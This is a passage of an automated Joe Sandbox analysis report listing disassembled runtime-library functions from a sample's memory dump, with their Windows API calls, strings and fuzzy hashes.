Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b3f963a09559cc5b2ada7445f71f7504a4ef70e10962ee845290b93782390202
Instruction ID: fbc579bf74ef1e92757f16b46c902042064c56aee4716e65990efabd03fa1cc1
Opcode Fuzzy Hash: b3f963a09559cc5b2ada7445f71f7504a4ef70e10962ee845290b93782390202
Instruction Fuzzy Hash: 02F0E53A74024A57CB04EF3AD84967ABF94EFC2761B464059EA058B351C6B29A92C790

Function 002DF21C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,002DA4BC,?,20001004,00000000,00000002,?,?,002D93CE), ref: 002DF250

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 71b47339e7761a7e7717b73b4527f4f6c4a92592977b9263d7ffc25814c927a8
Instruction ID: 3623dadaba8540b9cd5e5aa86ab766ea91be6a2197d8f88bb5b22bd2a6d87954
Opcode Fuzzy Hash: 71b47339e7761a7e7717b73b4527f4f6c4a92592977b9263d7ffc25814c927a8
Instruction Fuzzy Hash: ECE04F36510118BBCF527F60ED09AAE7F19EF447A0F004432FD1665361CBB19D30AAD9

Function 002D5014 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005135), ref: 002D5019

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b59c313faa474e2fe88eac7521ac7a25776448ccc12b2e8f7fb7009b14580272
Instruction ID: 0754aceb9a386a606e9d972ab623dc7e02687023259bf4f3a8dae668bad03941
Opcode Fuzzy Hash: b59c313faa474e2fe88eac7521ac7a25776448ccc12b2e8f7fb7009b14580272
Instruction Fuzzy Hash:

Function 002EA222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0140FE78,0140FE78,00000000,7FFFFFFF,?,002EA20D,0140FE78,0140FE78,00000000,0140FE78,?,?,?,?,0140FE78,00000000), ref: 002EA2C8
__alloca_probe_16.LIBCMT ref: 002EA383
__alloca_probe_16.LIBCMT ref: 002EA412
__freea.LIBCMT ref: 002EA45D
__freea.LIBCMT ref: 002EA463
__freea.LIBCMT ref: 002EA499
__freea.LIBCMT ref: 002EA49F
__freea.LIBCMT ref: 002EA4AF

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: e7fa04e7ea6468c355f313255014111028134ae8830b15601953fa52bfcd091c
Instruction ID: e5ab5e2563b967c200b50acee507d8a3782bc4d9e100f6c0253ac23485df1ae4
Opcode Fuzzy Hash: e7fa04e7ea6468c355f313255014111028134ae8830b15601953fa52bfcd091c
Instruction Fuzzy Hash: FF713B32D602869BDF209F56CC46FAE7BFA9F45310F944055FD04A7281E7B5EC208B62

Function 002D54C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 002D550C
__alloca_probe_16.LIBCMT ref: 002D5538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 002D5577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002D5594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 002D55D3
__alloca_probe_16.LIBCMT ref: 002D55F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 002D5632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 002D5655

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 78637318af93d9139ae5550531069c59578ec8b38dbff9e54402393cef0f7baf
Instruction ID: aefab2c896327dc4e6a8a346847f5f712b61d6b74d644bc64c1ce031dd15b162
Opcode Fuzzy Hash: 78637318af93d9139ae5550531069c59578ec8b38dbff9e54402393cef0f7baf
Instruction Fuzzy Hash: DF51B372620626AFEF209F60DC45FBA7BADEF40B90F644426F90196290D7B0CD20CB90

Function 002D61E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 002D6217
___except_validate_context_record.LIBVCRUNTIME ref: 002D621F
_ValidateLocalCookies.LIBCMT ref: 002D62A8
__IsNonwritableInCurrentImage.LIBCMT ref: 002D62D3
_ValidateLocalCookies.LIBCMT ref: 002D6328

Strings

csm, xrefs: 002D62BD

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 1ac66fb0ac4cd711fc454ba7987d94589105f09db973ba64e58a697db40272f5
Instruction ID: ef62c7df4bc664c8282d0faf06c8c3c42245f6a1d37721119cd7ed334d4839b2
Opcode Fuzzy Hash: 1ac66fb0ac4cd711fc454ba7987d94589105f09db973ba64e58a697db40272f5
Instruction Fuzzy Hash: B941A530A202199FCF10EF68C88CA9EBBA5EF45324F148566ED145B392C771EE25CF90

Function 002DF469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,002DF578,002D186A,?,00000000,002D31E1,002D186C,?,002DF1F6,00000022,FlsSetValue,002EDFE0,8,/,002D31E1), ref: 002DF52A

Strings

ext-ms-, xrefs: 002DF4D4
api-ms-, xrefs: 002DF4C0

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 8f8e1b2b410a7d2f8dffba2190fb0a5b630109fafcbdee7f28fb5e1f60543c58
Instruction ID: 09540a00f6feb69ff63a416653f2e338fff54ea4f7675289cd4411ce584f660f
Opcode Fuzzy Hash: 8f8e1b2b410a7d2f8dffba2190fb0a5b630109fafcbdee7f28fb5e1f60543c58
Instruction Fuzzy Hash: 0A21D872A21212ABC721DF65FD49A6B7758EF417B4B250132ED07A7390E770EE20CAD4

Function 002E625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b05a4dcdf3829f2c5f1cd5378674dd62fe99001c836e470d4fff40fee03731fe
Instruction ID: 02054bd5aff0a7cafec218d9f99199087447e0bdf8f7e53ec04b7c2f92598c64
Opcode Fuzzy Hash: b05a4dcdf3829f2c5f1cd5378674dd62fe99001c836e470d4fff40fee03731fe
Instruction Fuzzy Hash: BBB15771A602869FCB11DFAAD858BBD7BB1BF25390F944269E4019B382C770DD21CF61

Function 002DD2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,002DD2B7,002D5FB7,002D5179), ref: 002DD2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002DD2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002DD2F5
SetLastError.KERNEL32(00000000,002DD2B7,002D5FB7,002D5179), ref: 002DD347

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: cd84d75147ee6a6104786b69505360f3e6247c320c972fa947b228e914cb3678
Instruction ID: bcce7a6482688e0b67b2937b92e27d2b18f94ed2010c74b48f16084827bbceb1
Opcode Fuzzy Hash: cd84d75147ee6a6104786b69505360f3e6247c320c972fa947b228e914cb3678
Instruction Fuzzy Hash: 5201283212DB629E96692E757CC997A2A84EB413B4374037BF610502E0EF914C30DEC1

Function 002DDB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 002DDCA7
CallUnexpected.LIBVCRUNTIME ref: 002DDF20

Strings

csm, xrefs: 002DDC32
csm, xrefs: 002DDCDE
csm, xrefs: 002DDBC5

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 778c2897bc6fd49b7d2cb9921965fa32d8e165a2156ab8893c04fa9a2abe3545
Instruction ID: 331a62923e7533f2a36db8016750b049511cd0ca61421d97557464ebed6d5feb
Opcode Fuzzy Hash: 778c2897bc6fd49b7d2cb9921965fa32d8e165a2156ab8893c04fa9a2abe3545
Instruction Fuzzy Hash: FFB15771820A0AAFCF25DFA4C881AAEBBB5BF14310F15445BE8116B316D771EE61CF91

Function 002D8C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,2ED77AE5,?,?,00000000,002EB774,000000FF,?,002D8D16,002D8BFD,?,002D8DB2,00000000), ref: 002D8C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 002D8C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,002EB774,000000FF,?,002D8D16,002D8BFD,?,002D8DB2,00000000), ref: 002D8CBE

Strings

mscoree.dll, xrefs: 002D8C83
CorExitProcess, xrefs: 002D8C94

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 43c61460a208964212330fe2e7338cb0c4c5babde27fa6237f4675d2886bc40f
Instruction ID: 1b7f39092473691611933c02663ae5f486781124ffc85ce3bb038ac2abb87742
Opcode Fuzzy Hash: 43c61460a208964212330fe2e7338cb0c4c5babde27fa6237f4675d2886bc40f
Instruction Fuzzy Hash: 58018432961659EBDB119F50DC09BBEB7B8FB45B61F000536E811A22E0DBB49910CA90

Function 002DFC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002DFCC2
__alloca_probe_16.LIBCMT ref: 002DFD8B
__freea.LIBCMT ref: 002DFDF2

Part of subcall function 002DE531: RtlAllocateHeap.NTDLL(00000000,002D31E1,002D186A,?,002D60C1,002D186C,002D186A,?,?,?,002D3181,002D31E1,002D186E,002D186A,002D186A,002D186A), ref: 002DE563

__freea.LIBCMT ref: 002DFE05
__freea.LIBCMT ref: 002DFE12

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: f0fa1d0648bf9a175b46705c2dda15f10508df0b508f606500ab3b743a37ec9f
Instruction ID: 68b63d02ad24dec8f7ad86aebc0f1774ab57c7422322116124a2715d0729fdc6
Opcode Fuzzy Hash: f0fa1d0648bf9a175b46705c2dda15f10508df0b508f606500ab3b743a37ec9f
Instruction Fuzzy Hash: E751D572520246ABDF60AF60DE41DBB77AAEF44714B25013BFD06D6311EB70CD309AA4

Function 002D3010 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002D3017
std::_Lockit::_Lockit.LIBCPMT ref: 002D3022
std::_Lockit::~_Lockit.LIBCPMT ref: 002D3090

Part of subcall function 002D2EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 002D2EFC

std::locale::_Setgloballocale.LIBCPMT ref: 002D303D
_Yarn.LIBCPMT ref: 002D3053

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 4ead8d73e1cf3c40f512ce8e978deec674f626834422e61117447f9f050200ab
Instruction ID: 4282531a4d728dcfb1cde1c19112715c0d993586fd3988bcfa72cd7530f1d1c9
Opcode Fuzzy Hash: 4ead8d73e1cf3c40f512ce8e978deec674f626834422e61117447f9f050200ab
Instruction Fuzzy Hash: C301DBB5A201218BCB0AFF20E84997CBB71FF94390B14401AE81267381CF346E2ACFC1

Function 002E7E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002E7F2E,00000000,?,002F6E10,?,?,?,002E7E65,00000004,InitializeCriticalSectionEx,002EE57C,002EE584), ref: 002E7E9F
GetLastError.KERNEL32(?,002E7F2E,00000000,?,002F6E10,?,?,?,002E7E65,00000004,InitializeCriticalSectionEx,002EE57C,002EE584,00000000,?,002DE1DC), ref: 002E7EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 002E7ED1

Strings

api-ms-, xrefs: 002E7EB6

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: b1414e46354bd4878bb21edfa8f76af3a0975e7215ddc0be40b28c49c85d0334
Instruction ID: e8f0e561dbb370853838caeac4b52e2006ee086e72401e6e1547c9b4dc03e861
Opcode Fuzzy Hash: b1414e46354bd4878bb21edfa8f76af3a0975e7215ddc0be40b28c49c85d0334
Instruction Fuzzy Hash: A1E012702D4249B6EA105F72EC0AB697A59EB11BA0F544070FA0DB84E1D7A199609A85

Function 002E562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(2ED77AE5,00000000,00000000,?), ref: 002E5690

Part of subcall function 002DE641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,002DFDE8,?,00000000,-00000008), ref: 002DE6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002E58E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 002E5928
GetLastError.KERNEL32 ref: 002E59CB

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 460923f25ce4296cfd63c77326b7270b1e49ff84b9ce1e69306a5e5f9252f0c6
Instruction ID: 1f48b044949f1601c4ffe7959d5ab811a511e408c1484d6da30993cee8a39809
Opcode Fuzzy Hash: 460923f25ce4296cfd63c77326b7270b1e49ff84b9ce1e69306a5e5f9252f0c6
Instruction Fuzzy Hash: 98D19A75D20698DFCF04CFA9D884AEDBBB4EF09314F68412AE456EB352D730A951CB90

Function 002DD8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 002DD976
___AdjustPointer.LIBCMT ref: 002DD999
___AdjustPointer.LIBCMT ref: 002DDA35

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 658b4876bea9a8bece07b5456c8f78c4c70d40f2c6fa2f9dfd32a3ad49077d6f
Instruction ID: 7508105dad1cf9dd037a3bb7f9d80bff8d6eb5cd26942ed3ab0832ff7998bea6
